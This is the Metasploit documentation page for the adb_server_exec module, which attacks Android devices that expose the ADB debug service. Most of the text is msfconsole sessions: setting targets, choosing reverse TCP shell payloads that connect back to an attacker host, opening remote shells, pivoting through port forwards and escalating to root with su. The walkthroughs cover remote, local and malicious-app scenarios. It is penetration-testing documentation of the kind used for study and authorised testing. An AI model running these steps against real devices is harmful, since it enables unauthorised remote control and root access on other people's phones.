metasploit-framework/adb_server_exec.md at master

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Vulnerable Application

Writes and spawns a native payload on an Android device that is listening for Android Debug Bridge (ADB) debug messages.

Installation Steps

To emulate Android devices, download and install Android Studio.

Start Android Studio and create a device using Device Manager.
Start an emulated device, either via Android Studio or using the emulator executable from Android SDK.

List available AVDs and start one with the emulator:

$ /path/to/Android/Sdk/emulator/emulator -list-avds
Galaxy_Nexus_API_29
$ /path/to/Android/Sdk/emulator/emulator -avd Galaxy_Nexus_API_29

For physical devices, refer to:

https://developer.android.com/studio/command-line/adb

Verification Steps

msfconsole
use exploit/android/adb/adb_server_exec
set rhosts [host]
set rport [port]
set target [target]
run
You should get a session

Options

Scenarios

Remote Exploitation

msf6 > use exploit/android/adb/adb_server_exec 
[*] Using configured payload linux/armle/shell_reverse_tcp
msf6 exploit(android/adb/adb_server_exec) > set rhosts 192.168.200.135
rhosts => 192.168.200.135
msf6 exploit(android/adb/adb_server_exec) > set rport 5555
rport => 5555
msf6 exploit(android/adb/adb_server_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   armle
   1   x86
   2   x64
   3   mipsle


msf6 exploit(android/adb/adb_server_exec) > set target 1
target => 1
msf6 exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(android/adb/adb_server_exec) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] 192.168.200.135:5555 - Connecting to device...
[+] 192.168.200.135:5555 - Connected to device:
device::ro.product.name=sdk_gphone_x86;ro.product.model=Android SDK built for x86;ro.product.device=generic_x86;features=fixed_push_symlink_timestamp,apex,fixed_push_mkdir,stat_v2,abb_exec,cmd,abb,shell_v2
[+] 192.168.200.135:5555 - Command executed, response:
 command=WRTE
arg0=0x99
arg1=0xb
data=

[*] 192.168.200.135:5555 - Command Stager progress - 100.00% done (1142/1142 bytes)
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.135:60382 ) at 2022-03-20 19:55:10 -0400

id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input)

Emulated Device Local Exploitation

When running Android devices in an emulator with Android Studio, the ADB service is exposed only on the local network interface. However, the service is accessible to all local users and may allow one user to compromise another user's emulated device if authentication is disabled.

Setting up a port forward to the ADB service allows this module to exploit ADB over an existing session:

meterpreter > portfwd add -l 1234 -p 5555 -r 127.0.0.1
[*] Local TCP relay created: :1234 <-> 127.0.0.1:5555
meterpreter > 
Background session 1? [y/N]  
msf6 > use exploit/android/adb/adb_server_exec 
[*] Using configured payload linux/armle/shell_reverse_tcp
msf6 exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(android/adb/adb_server_exec) > set rport 1234
rport => 1234
msf6 exploit(android/adb/adb_server_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   armle
   1   x86
   2   x64
   3   mipsle


msf6 exploit(android/adb/adb_server_exec) > set target 1
target => 1
msf6 exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130
lhost => 192.168.200.130

Successful exploitation results in adb user privileges with shell SELinux context, leading to root privileges on the device by using su:

msf6 exploit(android/adb/adb_server_exec) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] 127.0.0.1:1234 - Connecting to device...
[+] 127.0.0.1:1234 - Connected to device:
device::ro.product.name=sdk_gphone_x86;ro.product.model=Android SDK built for x86;ro.product.device=generic_x86;features=fixed_push_symlink_timestamp,apex,fixed_push_mkdir,stat_v2,abb_exec,cmd,abb,shell_v2
[*] Sending stage (36 bytes) to 192.168.200.135
[+] 127.0.0.1:1234 - Command executed, response:
 command=WRTE
arg0=0x95
arg1=0xb
data=

[*] 127.0.0.1:1234 - Command Stager progress - 100.00% done (1142/1142 bytes)
[*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.135:60332 ) at 2022-03-20 18:30:56 -0400

id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
su
id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0

Emulated Device Privilege Escalation

When running Android devices in an emulator with Android Studio, it is possible for apps to communicate with the ADB service on the host's local network interface. This allows a malicious app to request a shell on the device via ADB, leading to elevation of privileges by creating a new session with shell privileges.

Untrusted Android apps have untrusted_app SELinux context, do not have shell privileges and cannot execute su:

meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10149(u0_a149) gid=10149(u0_a149) groups=10149(u0_a149),3003(inet),9997(everybody),20149(u0_a149_cache),50149(all_a149) context=u:r:untrusted_app_25:s0:c512,c768
su
/system/bin/sh: <stdin>[2]: su: inaccessible or not found
exit

However, apps can communicate with the ADB service associated with the emulated device (port 5555 in this example) on the host 10.0.2.2. Setting up a port forward to the ADB service allows this module to exploit ADB over the session:

meterpreter > portfwd add -l 1234 -p 5555 -r 10.0.2.2
[*] Local TCP relay created: :1234 <-> 10.0.2.2:5555
meterpreter > 
Background session 1? [y/N]  
msf6 > use exploit/android/adb/adb_server_exec
[*] Using configured payload linux/armle/shell_reverse_tcp
msf6 exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(android/adb/adb_server_exec) > set rport 1234
rport => 1234
msf6 exploit(android/adb/adb_server_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   armle
   1   x86
   2   x64
   3   mipsle


msf6 exploit(android/adb/adb_server_exec) > set target 1
target => 1
msf6 exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130
lhost => 192.168.200.130